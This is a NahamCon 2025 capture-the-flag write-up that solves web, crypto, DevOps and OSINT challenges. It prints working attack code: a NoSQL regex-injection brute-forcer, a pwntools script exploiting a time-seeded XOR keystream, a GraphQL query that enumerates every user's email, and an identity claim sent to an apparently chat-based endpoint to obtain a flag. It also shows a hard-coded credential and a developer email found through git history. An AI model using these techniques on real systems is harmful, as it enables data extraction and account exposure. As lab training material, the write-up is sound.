NahamCon 2025 CTF Writeup

NahamCon 2025 CTF Writeup

🕒 2025/05/25

image


SNAD

image

  • Category: Web | Difficulty: Easy

1. Website

2. Source Code

  • http://challenge.nahamcon.com:32403/
    image
  • http://challenge.nahamcon.com:32403/js/script.js
    • const targetPositions
      image
    • function injectSand(e, t, o)
      image
      • creates a new Particle at (x,y) with the given hue and pushes it into the particles array.
    • function checkFlag()
      image
      • checks each target position (particles) against settled particles (targetPositions) for proximity (<15px) and hue difference (<20°), counts how many match, and once at least 7 have been found (e >= 7), it will call retrieveFlag().

3. Exploit

So the solution is simple: we just have to place seven particles at the target positions (targetPositions).

  • DevTools Console
    • targetPositions.forEach(({x, y, colorHue}) => injectSand(x, y, colorHue));
      image
  • Flag
    image

NoSequel

image

  • Category: Web | Difficulty: Easy

1. Website

  • http://challenge.nahamcon.com:30184/
    image

  • When clicking Search:
    image

    • You can enter a regex pattern to check whether the string matches:
      image
      image
    • Input: flag: {$regex: "^flag{.*"} | Flags:
      image
      image
      • Pattern matched

    We found that the string is the flag.

2. Exploit

  • exp.py
    #!/usr/bin/env python3
    import requests
    import string
    
    URL = "http://challenge.nahamcon.com:30184/search"
    HEADERS = { "Content-Type": "application/x-www-form-urlencoded" }
    
    def exists(regex):
        data = {
            "query": f'flag: {{$regex: "^{regex}.*"}}',
            "collection": "flags"
        }
        r = requests.post(URL, data=data, headers=HEADERS)
        return "Pattern matched" in r.text
    
    def brute_flag(max_len=50):
        charset = string.ascii_letters + string.digits + "_{}-!@"
        flag = ""
        for pos in range(max_len):
            for ch in charset:
                trial = flag + ch
                if exists(trial):
                    flag = trial
                    print(f"Found so far: {flag}")
                    break
            else:
                return flag
        return flag
    
    if __name__ == "__main__":
        flag = brute_flag()
        print("\nFLAG : ", flag)
    
  • python3 exp.py
    image

Cryptoclock

image

  • Category: Cryptography | Difficulty: Easy

1. Interaction

  • nc challenge.nahamcon.com 30354
    image

2. Source Code

  • server.py
    #!/usr/bin/env python3
    import socket
    import threading
    import time
    import random
    import os
    from typing import Optional
    
    def encrypt(data: bytes, key: bytes) -> bytes:
        """Encrypt data using XOR with the given key."""
        return bytes(a ^ b for a, b in zip(data, key))
    
    def generate_key(length: int, seed: Optional[float] = None) -> bytes:
        """Generate a random key of given length using the provided seed."""
        if seed is not None:
            random.seed(int(seed))
        return bytes(random.randint(0, 255) for _ in range(length))
    
    def handle_client(client_socket: socket.socket):
        """Handle individual client connections."""
        try:
            with open('flag.txt', 'rb') as f:
                flag = f.read().strip()
    
            current_time = int(time.time())
            key = generate_key(len(flag), current_time)
    
            encrypted_flag = encrypt(flag, key)
    
            welcome_msg = b"Welcome to Cryptoclock!\n"
            welcome_msg += b"The encrypted flag is: " + encrypted_flag.hex().encode() + b"\n"
            welcome_msg += b"Enter text to encrypt (or 'quit' to exit):\n"
            client_socket.send(welcome_msg)
    
            while True:
                data = client_socket.recv(1024).strip()
                if not data:
                    break
    
                if data.lower() == b'quit':
                    break
    
                key = generate_key(len(data), current_time)
                encrypted_data = encrypt(data, key)
    
                response = b"Encrypted: " + encrypted_data.hex().encode() + b"\n"
                client_socket.send(response)
    
        except Exception as e:
            print(f"Error handling client: {e}")
        finally:
            client_socket.close()
    
    def main():
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
        server.bind(('0.0.0.0', 1337))
        server.listen(5)
    
        print("Server started on port 1337...")
    
        try:
            while True:
                client_socket, addr = server.accept()
                print(f"Accepted connection from {addr}")
                client_thread = threading.Thread(target=handle_client, args=(client_socket,))
                client_thread.start()
        except KeyboardInterrupt:
            print("\nShutting down server...")
        finally:
            server.close()
    
    if __name__ == "__main__":
        main() 
    
  1. The server sends the encrypted flag: flag_ct = flag XOR key, where R is the keystream generated using the current time as the seed.
  2. You can submit any plaintext known_pt and receive known_ct = known_pt ⊕ key'.
  3. If the plaintext is submitted within the same second as the flag was encrypted, then key = key'.
  • Vulnerbilities
    • Predictable PRNG seed
      • the server uses int(time.time()) (the current UNIX second) to seed the pseudorandom generator.
    • Keystream reuse
      • the same seed generates one keystream that encrypts both the flag and any plaintext you send within that same second.
    • XOR weakness
      • if flag_ct = flag XOR key and you supply a known plaintext known_pt to get known_ct = known_pt XOR key, then key = known_ct XOR known_pt. Once you know key, you recover flag = flag_ct XOR key.
  • Attack Path
    1. Receive flag_ct
      • On connection, the server sends flag_ct = flag XOR key, where key is derived from the current timestamp.
    2. Send known plaintext
      • Immediately send a known plaintext known_pt = b"A" * len(flag_ct) within the same second.
    3. Receive known_ct
      • Server replies with known_ct = known_pt XOR key', where key' = key if the second hasn’t changed.
    4. Recover key
      • key = known_ct XOR known_pt
    5. Recover flag
      • flag = flag_ct XOR key

3. Exploit

  • exp.py
    #!/usr/bin/env python3
    from pwn import *
    import re
    
    HOST, PORT = "challenge.nahamcon.com", 30354
    
    io = remote(HOST, PORT)
    
    banner = io.recv(timeout=1).decode(errors="ignore")
    
    print("=== server banner ===")
    print(banner)
    print("=====================")
    
    mflag = re.search(r"encrypted flag is:\s*([0-9a-fA-F]+)", banner)
    flag_ct = bytes.fromhex(mflag.group(1))
    n = len(flag_ct)
    
    known_pt = b"A" * n
    io.sendline(known_pt)
    
    resp = io.recvline().decode(errors="ignore")
    mknown = re.search(r"Encrypted:\s*([0-9a-fA-F]+)", resp)
    known_ct = bytes.fromhex(mknown.group(1))
    
    key = xor(known_ct, b"A"*n)
    flag = xor(flag_ct, key)
    
    print("\nFLAG : ", flag.decode())
    
  • python3 exp.py
    image

The Best Butler

image

  • Category: DevOps | Difficulty: Easy

1. Website

2. CVE-2024-23897 Arbitrary File Read

We found that this version is vulnerable to CVE-2024-23897, which allows arbitrary file read.
So we used a publicly available exploit from GitHub to read /flag.txt.


Sending Mixed Signals

image

  • Category: OSINT | Difficulty: Easy

1. Website

2. Answers

  • Q1. Find the hard-coded credential in the application used to encrypt log files. (format jUStHEdATA, no quotes)
  • Q2. Find the email address of the developer who added the hard-coded credential from question one to the code base (format name@email.site)
    • The article above provides the source code of the app (https://github.com/micahflee/TM-SGNL-iOS), so we can clone the repository and use git log to identify the developer's email who added the hard-coded credential.
      • git clone https://github.com/micahflee/TM-SGNL-iOS
      • git log -G'enRR8UVVywXYbFkqU#QDPRkO' -p --reverse
        image
        • moti@telemessage.com
  • Q3. Find the first published version of the application that contained the hard-coded credential from question one (case sensitive, format Word_#.#.#......).
    • The above (git log) also reveals the first published version that included the hard-coded credential, which is Release_5.4.11.20.
  • Flag
    image
    image

The Mission

image
image

  • Category: Web | Difficulty: Medium

1. Website

Let's log in using the provided credentials: hacker | password123:
image

2. Flag #4

We noticed that it makes a GraphQL request.
We used Burp Suite for further investigation. Below is the POST request sent to /api/v2/graphql.

  • POST /api/v2/graphql
    image
    image

The application appears to use a GraphQL query to fetch the username and email in order to display them on the settings page.

By modifying this query, we were able to enumerate all users and obtain their email addresses using the following payload:

  • "query":"query GetAllUsers {\n users {\n id\n username\n email\n }\n}"

    • query GetAllUsers { users { id username email } }

    image

The response revealed the flag, which is the email address of Stok.

3. Flag #6

We found a chat feature, which works by sending POST requests to /api/v2/chat with the user's message.

Let’s test the chat feature using Burp Suite to see how it behaves.

  • POST /api/v2/chat
    • {"message":"ass"}
      image
    • {"message":"I'm BuildHackSecure."}
      image

As shown above, we obtained the flag by sending the message I'm BuildHackSecure.